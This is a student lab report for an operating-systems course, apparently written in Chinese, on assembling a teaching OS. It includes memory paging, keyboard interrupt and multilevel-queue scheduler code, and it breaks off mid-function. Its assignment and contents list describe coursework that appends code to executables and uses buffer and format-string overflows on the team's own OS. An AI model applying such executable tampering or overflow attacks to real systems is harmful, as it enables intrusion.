|  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- |
| **《操作系统设计与实践》实验报告** | | | | | | |
| 课程名称 | 操作系统设计与实践 | | 成 绩 |  | 教师签名 |  |
| 实验名称 | 期末大作业 | | 实验序号 | 11 | 实验日期 | 2023.12.25 |
| 姓 名 | 邓鹏 | 学 号 | 2021302181152 | | | 组长 |
| 姓 名 | 刘宇 | 学 号 | 2021302181153 | | | 组员 |
| 1. 实验目的及实验内容   （本次实验所涉及并要求掌握的知识；实验内容等） | | | | | | |
| 【实验目的】  OS综合装配  【参考资料】   1. 《 Orange’s 一个操作系统的实现》   【实验要求】  1.任务一  在已有实验代码基础上，将1-8章节（可以包含第9章）进行功能综合，形成你自己的一个简易OS。  功能要求：  （1）可以考虑使用软盘或者硬盘，启动该mini-OS。  （2）能够实现你在前面章节所实现的，内存分配与释放，  （3）能够实现你在前面章节所实现的多进程管理与调度，  （4）所有代码需用目录树结构管理，并添加完整的makefile编译，以及文档  2.任务二  扩展shell要求  （1）利用当前OrangeS所提供的系统调用和API，编写2个以上可执行程序（功能自定），并编译生成存储在文件系统中  （2）分析教材的Shell代码，画出Shell的流程图，在Shell中调入你所编写的可执行程序，启动并执行进程  注意使用教材中所提供的系统调用来实现   1. 进程结束后返回Shell   3.任务三（选做）  改造任务二的shell，使其能够在同一个shell中，支持多任务执行，注意现有内存管理可能不支持多程序支持。  4.任务四（选做）  继续扩展程序，支持基于分页的虚拟内存管理  （1）重点模拟实现请求调页的功能  （2）页面替换算法考虑FIFO  5.任务五  自我OS安全分析  （1）分析提示：可执行文件的篡改、内存破坏漏洞、权限绕过等  （2）POC实现：  i. 编写一个C程序，该程序查找OS中的可执行文件，对可执行文件添加额外的代码。  ii. 编写一个程序，可对存在内存破坏漏洞的代码进行缓冲区溢出，控制返回地址到指定的位置  6.任务六  可信防护   1. 静态度量 2. 对你的OS进行扩充，编写一个程序模块，该程序模块能够在，当OS加载可执行文件时，对该可执行文件进行完整性校验，并进行比对。 3. 完整性校验的算法，可采用简单的奇偶校验算法。 4. 思考：   这样的度量，是否能够抵御对可执行文件的篡改？  完整性校验算法，使用奇偶校验算法，是否存在什么问题？  完整性校验值应该存在哪里？   1. 动态度量   i.对你的OS进行扩充，编写一个自动化的触发程序  ii.触发时，读取当前运行的进程的内存布局进行，并解析堆栈结构，检查堆栈返回地址是否合法  iii.思考：  如何理解“合法”的概念？  你的实现能否抵御POC实现中，第二个攻击？  这种度量方法的效率如何，存在什么额外的安全问题？  （3）感知与体系化防护（选做）：  对你的OS进行扩充，探索体系化防护思路。明确攻击平面有哪些?并考虑相应防护。例如：  内存破坏：借鉴软件安全中的方法，试试比如地址空间布局随机化、Canary、页面的权限管理？  系统调用的滥用：是否可以扩展一套系统调用的hook机制，并加以分析  数据窃取：提供基于文件系统、或者内存的加密机制？  ……  可以发挥你的想象力，在这个demo系统上探索。 | | | | | | |
| 二、小组分工 | | | | | | |
| 邓鹏同学负责：  任务一、任务二、任务三、任务五  刘宇同学负责：  任务六  注：任务四与任务六的（3）均为选做，没有做  由于小组成员均未学过软件安全相关的课程，任务五任务六做起来很困难，故选择让刘宇同学一人完成难度较高的任务六 | | | | | | |
| 三、实验环境及实验步骤  （列出本次实验所使用的软件、工具；简要概括实验步骤） | | | | | | |
| 实验软件**：**  虚拟机：Oracle VM VirtualBox 6.1.38  系统：ubuntu 14.04.6 - desktop - i386 (32bit)  模拟计算机：Bochs 2.7.0  DOS：FreeDos  实验步骤：  1.任务一  在已有实验代码基础上，将1-8章节（可以包含第9章）进行功能综合，形成你自己的一个简易OS。  2.任务二  扩展shell要求  （1）利用当前OrangeS所提供的系统调用和API，编写2个以上可执行程序（功能自定），并编译生成存储在文件系统中  （2）分析教材的Shell代码，画出Shell的流程图，在Shell中调入你所编写的可执行程序，启动并执行进程  注意使用教材中所提供的系统调用来实现   1. 进程结束后返回Shell   3.任务三  改造任务二的shell，使其能够在同一个shell中，支持多任务执行，注意现有内存管理可能不支持多程序支持。  4.任务五  自我OS安全分析  （1）分析提示：可执行文件的篡改、内存破坏漏洞、权限绕过等  （2）POC实现：  i. 编写一个C程序，该程序查找OS中的可执行文件，对可执行文件添加额外的代码。  ii.编写一个程序，可对存在内存破坏漏洞的代码进行缓冲区溢出，控制返回地址到指定的位置 | | | | | | |
| 二、实验过程分析  （详细记录实验过程，通过截图展示得到的结果。特别是对于实验中发生的故障和问题，要进行故障分析，说明故障排除的过程及方法。） | | | | | | |
| 目录  [一、 任务一：形成简易OS 6](#_Toc5857)  [1.1问题介绍与思路摘要 6](#_Toc669)  [1.1.1问题介绍 6](#_Toc18012)  [1.1.2思路摘要 6](#_Toc31927)  [1.2具体思路及其实现 6](#_Toc20880)  [1.2.1在屏幕上画一个喜欢的ASCII图案 6](#_Toc13625)  [1.2.2内存分配与释放 7](#_Toc17876)  [1.2.3自己设计的键盘中断 15](#_Toc31403)  [1.2.4多级反馈队列调度算法 16](#_Toc7131)  [1.2.5 Makefile集成 22](#_Toc24095)  [1.2.6 第二种实现方法 24](#_Toc14090)  [1.3工作局限性 29](#_Toc22928)  [1.4本部分小结 30](#_Toc1241)  [二、 任务二：扩展shell要求 30](#_Toc14941)  [2.1问题介绍与思路摘要 30](#_Toc25574)  [2.1.1问题介绍 30](#_Toc30843)  [2.1.2解决方案摘要 30](#_Toc30939)  [2.2具体思路及其实现 30](#_Toc10321)  [2.2.1 test指令 31](#_Toc1886)  [2.2.2 torch和rm指令 32](#_Toc25692)  [2.2.3 ls指令 33](#_Toc22432)  [2.2.4 echo指令 38](#_Toc13582)  [2.2.5 cat指令 39](#_Toc13639)  [2.2.6 cp指令 40](#_Toc28802)  [2.3工作局限性和改进方向 42](#_Toc15048)  [2.3.1工作局限性 42](#_Toc6400)  [2.3.2改进方向 42](#_Toc29803)  [2.4本部分小结 43](#_Toc14434)  [三、 任务三：改造shell 43](#_Toc139)  [3.1问题介绍与思路摘要 43](#_Toc26580)  [3.1.1问题介绍 43](#_Toc16091)  [3.1.2思路摘要： 43](#_Toc28308)  [3.2具体思路及其实现 43](#_Toc28331)  [3.2.1 shabby\_shell函数 44](#_Toc30610)  [3.2.2 wait函数 & exit函数 46](#_Toc23687)  [3.2.3 execv函数 49](#_Toc7454)  [3.2.4 修改shell支持多任务执行 53](#_Toc423)  [3.3本部分小结 55](#_Toc17164)  [四、任务五：自我OS安全分析 55](#_Toc19467)  [4.1问题介绍及解决方案摘要 55](#_Toc15093)  [4.1.1问题介绍 55](#_Toc15410)  [4.1.2解决方案摘要 56](#_Toc19324)  [4.2具体思路及其实现 56](#_Toc11724)  [4.2.1格式化字符串漏洞 56](#_Toc15041)  [4.2.2可执行文件的破坏（法一） 59](#_Toc2787)  [4.2.3可执行文件的破坏（法二） 66](#_Toc15721)  [4.2.3缓冲区溢出漏洞——栈溢出漏洞 70](#_Toc25924)  [4.3讨论和未来工作 74](#_Toc30433)  [4.3.1 如何预防格式化字符串漏洞？ 74](#_Toc4142)  [4.3.2 工作局限性讨论 75](#_Toc23754)  [4.4本部分小结 75](#_Toc25754) 任务一：形成简易OS1.1问题介绍与思路摘要1.1.1问题介绍 在已有实验代码基础上，将1-8章节（可以包含第9章）进行功能综合，形成你自己的一个简易OS  功能要求：  • 可以考虑使用软盘或者硬盘，启动该mini-OS。  • 能够实现你在前面章节所实现的，内存分配与释放，  • 能够实现你在前面章节所实现的多进程管理与调度，  • 所有代码需用目录树结构管理，并添加完整的makefile编译，以及文档 1.1.2思路摘要 根据老师点拨，决定在chapter10的基础上做。  在本学期“内核雏形”一节的实验中，我们利用makefile初步形成了一个内核雏形，其中已经添加了在屏幕上画一个喜欢的ASCII图案、内存分配与释放、自己设计的键盘中断；在本学期“多进程与进程调度”一节的实验中，我们实现了多级反馈队列调度算法。  基于此，将之前完成的功能：启动代码，在引导过程中在屏幕上画一个喜欢的ASCII图案；内存分配与释放；自己设计的键盘中断；多级反馈队列调度算法等集成。 1.2具体思路及其实现1.2.1**在屏幕上画一个喜欢的ASCII图案** 在start.c中加入printDP函数   1. **PUBLIC** void printDP() { 2. /\* 通过打印空格的方式清空屏幕的前17行，并把 disp\_pos 清零 \*/ 3. **int** i; 4. disp\_pos = 0; 5. **for**(i=0;i<80\*17;i++){ 6. disp\_str(" "); 7. } 8. disp\_pos = 0; 10. disp\_str( 11. "Welcom to dp's test!\n" 12. "#####  ###### #    #  ####  #####  ###### #    #  ####\n" 13. "#    # #      ##   # #    # #    # #      ##   # #    #\n" 14. "#    # #####  # #  # #      #    # #####  # #  # #\n" 15. "#    # #      #  # # #  ### #####  #      #  # # #  ###\n" 16. "#    # #      #   ## #    # #      #      #   ## #    #\n" 17. "#####  ###### #    #  ####  #      ###### #    #  ####\n" 18. "\n" 19. ); 20. }   然后，在kernel.asm引入   1. extern  printDP   再调用   1. lidt    [idt\_ptr] 3. call    printDP   效果如下图   1.2.2**内存分配与释放** 之前的实验中，将函数写在了一个文件中，即page.asm文件，直接复制到mm文件夹下，这是其中较为重要的几个函数。  DispTransfer   1. DispTransfer: 2. ; 保存现有的寄存器状态 3. xchg bx,bx 4. pusha 6. ; 打印base\_address 7. call DispReturn 8. push szBASE 9. call DispStr 10. **add** esp, 4 12. ; 打印虚拟地址 13. mov eax, VirtualAddr 14. push eax 15. call DispInt 16. **add** esp, 4 18. ; 打印PDE\_base\_address 19. call DispReturn 20. push szPDE 21. call DispStr 22. **add** esp, 4 24. ; 计算并打印页目录项 25. ; mov ax, SelectorFlatRW 26. ; mov es, ax 27. mov eax, VirtualAddr 28. shr eax, 22 29. cmp eax, [PageTableNumber] 30. ; jg .error 31. mov ebx, 4 32. mul ebx 33. mov edx, cr3 34. **add** eax, edx 35. mov ecx, dword [es:eax] 36. xor ecx, PG\_P | PG\_USU |PG\_RWW 37. and ecx, 0xfffffc00 38. push dword [es:eax] 39. call DispInt 40. **add** esp, 4 42. ; 打印PDE\_base\_address 43. call DispReturn 44. push szPTE 45. call DispStr 46. **add** esp, 4 48. ; 计算打印页表项 49. mov eax, VirtualAddr 50. shr eax, 12 51. and eax, 0x3FF 52. mov ebx, 4 53. mul ebx 54. **add** eax, ecx 55. mov ecx, dword [es:eax] 56. xor ecx, PG\_P | PG\_USU | PG\_RWW 57. and ecx, 0xfffff000 58. push dword [es:eax] 59. call DispInt 60. **add** esp, 4 62. ; 打印Final\_address 63. call DispReturn 64. push szFINAL 65. call DispStr 66. **add** esp, 4 68. ;计算打印最终地址 69. mov eax, VirtualAddr 70. and eax, 0xFFF 71. **add** eax, ecx 72. push eax 73. call DispInt 74. **add** esp, 4 76. ; 恢复寄存器并返回 77. popa 78. ret 80. .error: 81. ; 打印错误消息 82. push szAddressNotPresent 83. call DispStr 84. **add** esp, 4 86. ; 恢复寄存器并返回 87. popa   alloc\_pages   1. alloc\_pages: 3. ;save register 4. ; push ds 5. ; push es 6. ; ;**function** implement 7. ; mov bx, SelectorFlatRW 8. ; mov ds,bx 10. ; mov bx,SelectorData 11. ; mov es,bx 13. mov ecx,eax 15. ;计算总共需要分配的物理内存大小，并将其存储在 ebx 寄存器中。 16. mov ebx,4096    ;page number \* page **size** 17. mul ebx 19. mov ebx,[es:AvaLinearAddress] 20. **add** [es:AvaLinearAddress],eax 21. ;ebx存的是AvaLinearAddress 指定的线性地址对应的地址 22. push ebx 23. mov eax,ebx 24. mov ebx,cr3 25. and ebx,0xfffff000 26. and eax,0xffc00000 27. shr eax,20 28. **add** ebx,eax     ;ebx中是PDE中的地址 29. mov edx,ebx     ;edx->missing PDE address页目录项（PDE）的地址 30. mov ebx,[ebx]   ;PTE 地址 31. ;test p flag 检查 PDE 中的 P 标志位 32. test ebx,0x0000\_0001 33. jnz .pde\_exist 34. ;page **table** **is** not exist 35. mov ebx,cr3 36. mov ebx,[ebx]   ;**first** page **table** address 37. and ebx,0xfffff000 38. shl eax,10 39. **add** ebx,eax     ;这里会直接变为页表的位置 40. or ebx,0x0000\_0007 41. mov [edx],ebx 43. .pde\_exist: 44. mov eax,[esp] 46. and ebx,0xfffff000 47. and eax,0x003ff000 48. shr eax,10 49. **add** ebx,eax 51. .change\_pte: 52. call alloc\_a\_4k\_page 53. test eax,eax 54. jz .allocation\_failed   ;分配失败 56. or eax,0x0000\_0007 57. mov [ebx],eax 58. **add** ebx,4 59. loop .change\_pte 60. .allocation\_failed: 61. pop ebx 62. ; pop es 63. ; pop ds 64. ret  67. alloc\_a\_4k\_page: 68. ;**return** eax: physical address 69. ;保存寄存器的值 70. push ds 71. push es 72. ;**function** implement，设置合适的段寄存器的值，以确保访问正确的内存段 73. xor eax,eax 74. ; mov ax,SelectorFlatRW 75. ; mov es,ax 76. ; mov ax,SelectorData 77. ; mov ds,ax 79. .search: 80. bts [BitMap],eax 82. jnc .find 83. inc eax 84. cmp eax,BitMapLen\*8 85. jl .search 87. ;**no** available physical space，执行 hlt 指令来暂停 CPU 的执行，表示没有可用的物理空间。 88. ;hlt;在分页分配中，使用 hlt 来表示分配失败并暂停 CPU 的执行是一种不常见的方式。 89. mov eax,0 90. ret 92. .find: 94. shl eax,12 96. pop es 97. pop ds 98. ret   free\_pages   1. free\_pages: 2. ; push ds 3. ; push es 4. push ebx         ; save eax and ebx 5. push eax 7. ; mov bx, SelectorFlatRW 8. ; mov ds, bx 9. ; mov bx, SelectorData 10. ; mov es, bx       ; normal init 12. ; find the pde and pte 13. mov ebx, cr3 14. and ebx, 0xfffff000 15. and eax, 0xffc00000 16. shr eax, 20      ; 20 = 22 -2 17. **add** ebx, eax 18. mov edx, [ebx] 19. and edx, 0xfffffff8 20. mov [ebx], edx 22. mov ebx, [ebx] 24. mov eax, [esp] 25. **add** esp, 4 26. and ebx,0xfffff000 27. and eax,0x003ff000 28. shr eax,10 29. **add** ebx, eax  32. mov ecx, [esp] 33. **add** esp,4 34. .free\_pte: 35. mov eax, [ebx] 36. and eax, 0xfffffff8 37. mov edx, eax                ; eax:映射的物理地址 38. shr edx, 12               ;edx:第edx个页面（由于物理地址开始为0x00000000） 39. btr [BitMap], edx         ;改变位图，设置为0，空闲 40. mov [ebx], eax 41. **add** ebx,32 42. loop .free\_pte 44. ; pop es 45. ; pop ds 46. ret   然后在kernel.asm中引入   1. extern  DispTransfer 2. extern  DispStr 3. extern  DispInt 4. extern  DispReturn 5. extern  DispAL 6. extern alloc\_pages 7. extern free\_pages   再写AllocAndFree函数并声明   1. **global**  AllocAndFree   AllocAndFree   1. AllocAndFree: 2. xchg bx,bx 3. mov eax,4 4. call alloc\_pages 6. xchg bx,bx 7. mov eax,ebx 8. mov ebx,4 10. call free\_pages 11. xchg bx,bx 12. ret   然后，调用   1. call    printDP 3. call    DispTransfer 4. call    AllocAndFree   最后，再Makefile中添加有关page.asm的指令   1. OBJS        = kernel/kernel.o kernel/start.o kernel/main.o\ 2. kernel/clock.o kernel/keyboard.o kernel/tty.o kernel/console.o\ 3. kernel/i8259.o kernel/**global**.o kernel/protect.o kernel/proc.o\ 4. kernel/systask.o kernel/hd.o\ 5. kernel/kliba.o kernel/klib.o\ 6. lib/syslog.o\ 7. mm/main.o mm/forkexit.o mm/**exec**.o mm/page.o\ 8. mm/**exec**.o: mm/**exec**.c 9. $(CC) $(CFLAGS) -o $@ $< 11. mm/page.o: mm/page.asm 12. $(ASM) $(ASMKFLAGS) -o $@ $<   代码效果如下图  这是DispTransfer    这是alloc free   1.2.3**自己设计的键盘中断** 在hwint01中添加自己设计的键盘中断代码   1. ALIGN   16 2. hwint01:                ; Interrupt routine **for** irq 1 (keyboard) 3. inc     byte [gs:((80 \* 17 + 50) \* 2)] 4. in      al, 0x60 5. movzx     ecx, al 6. ;mov     ecx, 8 8. cmp     ecx,50 9. jg      iretd\_label 11. lea     ebx,[array+ecx] 12. mov     al,[ebx] 13. mov     ah,0ch 14. mov     [gs:((80 \* 17 + 40)\*2)],ax 16. iretd\_label: 17. mov     al,20h 18. **out**     20h,al 19. iretd   但是，在运行的时候遇到问题，即貌似无法进入中断状态。但是这个问题在实验后续的进行中得到解决。这里先展示效果。   1.2.4**多级反馈队列调度算法** 通过修改 proc.c 中的 schedule() 函数来设计进程调度算法，该调度算法的基本架构如下图所示：    首先，在sys/proc.h中定义多级反馈队列的三个队列   1. #define QUEUE\_LEN 50 2. typedef struct s\_queue { 3. struct proc\* taskqueue[QUEUE\_LEN]; 4. **int** front; 5. **int** rear; 6. **int** len; 7. **int** timep; 8. } QUEUE;   定义队列长度为50，定义队列的结构体，其中front表示前端位置，rear表示尾端位置，len表示队列存储的元素数量，timep记录时间。  在kernel/global.c中初始化多级反馈队列   1. **PUBLIC** QUEUE queue[3] = {{{0}, 0, 0, 0, 2}, 2. {{0}, 0, 0, 0, 5}, 3. {{0}, 0, 0, 0, 10}};   设置的时间片为2，5，10  然后，在include/sys/global.h中声明，作为全局可用，这样在任何地方都有queue指向第一个队列。   1. **PUBLIC** QUEUE queue[3];   然后，在include/sys/proc.h中为每个进程添加参数inqueue（是否在队列中）、runtime（当前剩余时间）、queuenum（所在队列号）等参数。   1. struct proc { 2. struct stackframe regs;    /\* process registers saved in stack frame \*/ 4. u16 ldt\_sel;               /\* gdt selector giving ldt base and limit \*/ 5. struct descriptor ldts[LDT\_SIZE]; /\* **local** descs **for** code and data \*/ 7. **int** ticks;                 /\* remained ticks \*/ 8. **int** priority; 9. **int** runtime; 10. **int** inqueue; 11. **int** queuenum; 13. /\* u32 pid;                   /\\* process id passed in **from** MM \*\/ \*/ 14. **char** **name**[16];         /\* **name** **of** the process \*/   再在kernel/proc.c中将入队和出队封装成两个函数inqueue和outqueue  inqueue()   1. **int** inqueue(struct proc\* p) {  // 把p进队 2. QUEUE\* tempqueue; 3. tempqueue = queue + p->queuenum;  // 将当前程序放到队尾 4. tempqueue->taskqueue[tempqueue->rear] = p; 5. tempqueue->rear = (tempqueue->rear + 1) % QUEUE\_LEN; 6. p->inqueue = 1; 7. tempqueue->len += 1;   outqueue()   1. void outqueue(struct proc\* p) {  // 把p所在队的队首出队 2. QUEUE\* tempqueue; 3. // \_\_asm\_\_ \_\_volatile\_\_("xchg %bx,%bx"); 4. tempqueue = queue + p->queuenum; 5. tempqueue->front = (tempqueue->front + 1) % QUEUE\_LEN; 6. p->inqueue = 0; 7. tempqueue->len -= 1;  // 队首就绪, 出队 8. }   因为此处的多级反馈队列调度需要考虑进程是否阻塞的问题,所以设计函数从队中取出一个可用的进程, 但并不直接调度至它,而是由调度进程判断是否需要调度, 进而判断抢占, 时间片用完等操作。  首先仿造原schedule中的方法, 判断是否有新进程入队, 若一个进程当前为可执行状态, 并且不在队中, 则将其入队. 因为每次执行进程都会使进程出队, 所以在最开始初始化保证了每次调用该函数都能拿到进程。   1. struct proc\* get\_one\_proc() {  // 每次能拿到一个进程 , 且不可能拿不到 2. struct proc\* p; 3. QUEUE\* tempqueue; 4. **int** now\_queue\_num = 0; 5. **for** (p = &FIRST\_PROC; p <= &LAST\_PROC; p++) { 6. if (p->p\_flags == 0 && p->inqueue == 0 && 7. (p != p\_proc\_ready || queue->len == 0)) { 8. // \_\_asm\_\_ \_\_volatile\_\_("xchg %bx, %bx");makei e 9. p->ticks = queue->timep;  // 进队进行初始化 10. p->queuenum = 0; 11. p->runtime = 100; 12. inqueue(p); 13. // disp\_int(p - &FIRST\_PROC); 14. } 15. } 16. now\_queue\_num = 0; 17. while (now\_queue\_num <= 2) {  // 在三个队列中找能运行的程序 18. tempqueue = queue + now\_queue\_num; 19. **int** length = 0; 20. **int** point = tempqueue->front; 21. while (tempqueue->taskqueue[point]->p\_flags != 0 && 22. length < tempqueue->len) { 23. outqueue(tempqueue->taskqueue[point]); 24. inqueue(tempqueue->taskqueue[point]); 25. // 如果是阻塞的则先出队再入队 26. length += 1; 27. point = (point + 1) % QUEUE\_LEN; 28. } 29. if (length < tempqueue->len) {  // 找到一个 30. **return** tempqueue->taskqueue[point]; 31. } 32. now\_queue\_num++; 33. } 34. }   然后编写调度函数, 需要考虑, 是否发生抢占? 若没发生, 当前时间片是否用完, 当前程序运行时间是否结束? 基于以上分支, 编写调度函数如下所示   1. void myschedule() { 2. struct proc \*p, \***next**; 3. **next** = get\_one\_proc(); 5. if (p\_proc\_ready->ticks && p\_proc\_ready->runtime && 6. **next**->queuenum >= p\_proc\_ready->queuenum) {  //当前进程有时间片和运行时间，且没有优先级更高的，继续 7. **return**; 8. } 10. if (p\_proc\_ready->runtime == 0) {  // 运行时间用完，换下一个 11. p\_proc\_ready = **next**; 12. outqueue(**next**); 13. **return**; 14. } 16. if (p\_proc\_ready->ticks == 0) {  // 当前时间片用完, 进队,且选下一个 17. if (p\_proc\_ready->queuenum < 2) { 18. p\_proc\_ready->queuenum += 1;  // 进到下一队列 19. } 20. p\_proc\_ready->ticks = (queue + p\_proc\_ready->queuenum)->timep; 22. inqueue(p\_proc\_ready); 23. p\_proc\_ready = **next**; 24. outqueue(**next**); 25. **return**; 26. } 28. if (**next**->queuenum < p\_proc\_ready->queuenum) {  // 抢占  有更高的优先级 29. inqueue(p\_proc\_ready); 30. p\_proc\_ready = **next**; 31. outqueue(**next**); 32. **return**; 33. } 34. }   然后，在include/sys/proto.h声明myschdule，因为后面别的文件要调用。   1. /\* proc.c \*/ 2. **PUBLIC**  void    schedule(); 3. **PUBLIC**  void    myschedule();   此处还存在一个地方对进程的调度存在控制, 因为此处存储在进程的阻塞, 而程序阻塞后需要选出下一个执行的程序, 否则就会发生死锁, 所以需要在下面的block函数中也进行相应的修改。   1. PRIVATE void block(struct proc\* p) { 2. assert(p->p\_flags); 3. inqueue(p); 4. struct proc\* **next** = get\_one\_proc(); 5. p\_proc\_ready = **next**; 6. outqueue(**next**); 7. // disp\_int(p\_proc\_ready - &FIRST\_PROC); 8. }   最后，然后修改clock.c中的clock\_handler函数让当前进程的时间片和运行时间减少。   1. **PUBLIC** void clock\_handler(**int** irq) { 2. if (++ticks >= MAX\_TICKS) 3. ticks = 0; 5. if (key\_pressed) 6. inform\_int(TASK\_TTY); 8. if (k\_reenter != 0) { 9. **return**; 10. } 12. // if (p\_proc\_ready->ticks > 0) { 13. //     **return**; 14. // } 15. if (p\_proc\_ready->ticks) 16. p\_proc\_ready->ticks--; 18. if (p\_proc\_ready->runtime) 19. p\_proc\_ready->runtime--; 21. myschedule(); 23. \_\_asm\_\_ \_\_volatile\_\_("xchg %bx,%bx"); 24. switch ((p\_proc\_ready - &FIRST\_PROC)) 25. { 26. case 0x6: 27. disp\_str("A,"); 28. break; 29. case 0x7: 30. disp\_str("B,"); 31. break; 32. case 0x8: 33. disp\_str("C,"); 34. break; 35. **default**: 36. break; 37. } 38. disp\_str(""); 39. }   效果如下图：    可以看到,出现了2,5,10的情况, 说明了多级反馈队列调度是成功的, 符合预期。  话题回到上一小节的键盘中断，其成功实现是在这一小节的调试过程中偶然调试出来的。当我将clock中clock\_handler中的部分代码改成如下时，就出现了键盘中断，但是多级队列调度就无法继续了，我也不知道为啥。   1. // \_\_asm\_\_ \_\_volatile\_\_("xchg %bx,%bx"); 2. switch ((p\_proc\_ready - &FIRST\_PROC)) 3. { 4. case 0x6: 5. disp\_str("A,"); 6. milli\_delay(10); 7. break; 8. case 0x7: 9. disp\_str("B,"); 10. break; 11. case 0x8: 12. disp\_str("C,"); 13. break; 14. **default**: 15. break; 16. } 18. // disp\_str("");  1.2.5 Makefile集成 在目录下执行tree指令，得到如下目录树。Makefile中的修改不多，只有在内存与分配中修改了一小部分，详细可看对应小节，此处略去。  .  ├── 80m.img  ├── a.img  ├── bochsrc  ├── boot  │   ├── boot.asm  │   ├── boot.bin  │   ├── include  │   │   ├── fat12hdr.inc  │   │   ├── load.inc  │   │   └── pm.inc  │   ├── loader.asm  │   └── loader.bin  ├── command  │   ├── echo.c  │   ├── Makefile  │   ├── pwd.c  │   └── start.asm  ├── fs  │   ├── disklog.c  │   ├── link.c  │   ├── main.c  │   ├── misc.c  │   ├── open.c  │   └── read\_write.c  ├── include  │   ├── stdio.h  │   ├── string.h  │   ├── sys  │   │   ├── config.h  │   │   ├── console.h  │   │   ├── const.h  │   │   ├── fs.h  │   │   ├── global.h  │   │   ├── hd.h  │   │   ├── keyboard.h  │   │   ├── keymap.h  │   │   ├── proc.h  │   │   ├── protect.h  │   │   ├── proto.h  │   │   ├── sconst.inc  │   │   └── tty.h  │   └── type.h  ├── kernel  │   ├── clock.c  │   ├── console.c  │   ├── global.c  │   ├── hd.c  │   ├── i8259.c  │   ├── kernel.asm  │   ├── keyboard.c  │   ├── kliba.asm  │   ├── klib.c  │   ├── main.c  │   ├── proc.c  │   ├── protect.c  │   ├── start.c  │   ├── systask.c  │   └── tty.c  ├── kernel.bin  ├── krnl.map  ├── lib  │   ├── close.c  │   ├── exec.c  │   ├── exit.c  │   ├── fork.c  │   ├── getpid.c  │   ├── misc.c  │   ├── open.c  │   ├── orangescrt.a  │   ├── printf.c  │   ├── read.c  │   ├── stat.c  │   ├── string.asm  │   ├── syscall.asm  │   ├── syslog.c  │   ├── unlink.c  │   ├── vsprintf.c  │   ├── wait.c  │   └── write.c  ├── Makefile  ├── mm  │   ├── exec.c  │   ├── forkexit.c  │   ├── main.c  │   └── page.asm  └── scripts  ├── genlog  └── splitgraphs  10 directories, 78 files  至此，任务一第一种方法完成。 1.2.6 第二种实现方法 由于第一种方法实现起来有点困难，就把代码放到前面章节种完成，这里选的是第六章。因为这一部分已经在第六章中实现了，故这里只放了重要函数。  前面的流程都一样，只有多级队列调度部分的代码不一样。  先是在main.c中修改kernel\_main函数   1. PUBLIC **int** kernel\_main() 2. { 3. disp\_str("-----\"kernel\_main\" begins-----\n"); 5. **int** j; 6. disp\_pos = 0; 7. **for**(j=0;j<80\*25;j++){ 8. disp\_str(" "); 9. } 10. disp\_pos = 0; 12. TASK\*       p\_task      = task\_table; 13. PROCESS\*    p\_proc      = proc\_table; 14. **char**\*       p\_task\_stack    = task\_stack + STACK\_SIZE\_TOTAL; 15. u16     selector\_ldt    = SELECTOR\_LDT\_FIRST; 16. **int** i; 17. **for** (i = 0; i < NR\_TASKS; i++) { 18. strcpy(p\_proc->p\_name, p\_task->name); // name of the process 19. p\_proc->pid = i;         // pid 21. p\_proc->ldt\_sel = selector\_ldt; 23. memcpy(&p\_proc->ldts[0], &gdt[SELECTOR\_KERNEL\_CS >> 3], 24. **sizeof**(DESCRIPTOR)); 25. p\_proc->ldts[0].attr1 = DA\_C | PRIVILEGE\_TASK << 5; 26. memcpy(&p\_proc->ldts[1], &gdt[SELECTOR\_KERNEL\_DS >> 3], 27. **sizeof**(DESCRIPTOR)); 28. p\_proc->ldts[1].attr1 = DA\_DRW | PRIVILEGE\_TASK << 5; 29. p\_proc->regs.cs  = ((8 \* 0) & SA\_RPL\_MASK & SA\_TI\_MASK) 30. | SA\_TIL | RPL\_TASK; 31. p\_proc->regs.ds  = ((8 \* 1) & SA\_RPL\_MASK & SA\_TI\_MASK) 32. | SA\_TIL | RPL\_TASK; 33. p\_proc->regs.es  = ((8 \* 1) & SA\_RPL\_MASK & SA\_TI\_MASK) 34. | SA\_TIL | RPL\_TASK; 35. p\_proc->regs.fs  = ((8 \* 1) & SA\_RPL\_MASK & SA\_TI\_MASK) 36. | SA\_TIL | RPL\_TASK; 37. p\_proc->regs.ss  = ((8 \* 1) & SA\_RPL\_MASK & SA\_TI\_MASK) 38. | SA\_TIL | RPL\_TASK; 39. p\_proc->regs.gs  = (SELECTOR\_KERNEL\_GS & SA\_RPL\_MASK) 40. | RPL\_TASK; 42. p\_proc->regs.eip = (u32)p\_task->initial\_eip; 43. p\_proc->regs.esp = (u32)p\_task\_stack; 44. p\_proc->regs.eflags = 0x1202; /\* IF=1, IOPL=1 \*/ 46. p\_task\_stack -= p\_task->stacksize; 47. p\_proc++; 48. p\_task++; 49. selector\_ldt += 1 << 3; 50. } 52. time\_slice = 5;//初始化 53. process\_num = 0; 55. // for ( i = 0; i < NR\_TASKS; i++) 56. // { 57. //  proc\_table[i].priority = 1; 58. //  proc\_table[i].ticks = time\_slice; 59. // } 61. proc\_table[0].ticks = 4; 62. proc\_table[0].priority = 1; 63. proc\_table[1].ticks = 8; 64. proc\_table[1].priority = 2; 65. proc\_table[2].ticks = 16; 66. proc\_table[2].priority = 3; 68. k\_reenter = 0; 69. ticks = 0;  72. p\_proc\_ready    = proc\_table; 74. /\* 初始化 8253 PIT \*/ 75. out\_byte(TIMER\_MODE, RATE\_GENERATOR); 76. out\_byte(TIMER0, (u8) (TIMER\_FREQ/HZ) ); 77. out\_byte(TIMER0, (u8) ((TIMER\_FREQ/HZ) >> 8)); 79. put\_irq\_handler(CLOCK\_IRQ, clock\_handler); /\* 设定时钟中断处理程序 \*/ 80. enable\_irq(CLOCK\_IRQ);                     /\* 让8259A可以接收时钟中断 \*/ 82. restart(); 84. **while**(1){} 85. }   然后修改clock.c中的clock\_handler函数   1. PUBLIC **void** clock\_handler(**int** irq) 2. { 3. ticks++; 4. p\_proc\_ready->ticks--; 5. PROCESS\* p; 7. //disp\_int(p\_proc\_ready->pid); 8. //if (k\_reenter != 0) { 9. // return; 10. //} 12. **if**(p\_proc\_ready->priority == 1) 13. { 14. **if**(p\_proc\_ready->ticks == 0) 15. { 16. p\_proc\_ready->priority = 2; 17. p\_proc\_ready->ticks = time\_slice \* 2; 18. schedule(); 19. } 20. }**else** **if**(p\_proc\_ready->priority == 2){ 21. **if**(p\_proc\_ready->ticks != 0) 22. { 23. **for**(p = proc\_table; p < proc\_table + NR\_TASKS; p++) 24. { 25. **if** (p->priority == 1) 26. { 27. p\_proc\_ready = p; 28. **return**; 29. } 30. } 31. **for**(p = proc\_table; p < proc\_table + NR\_TASKS; p++) 32. { 33. **if** (p->priority == 2) 34. { 35. 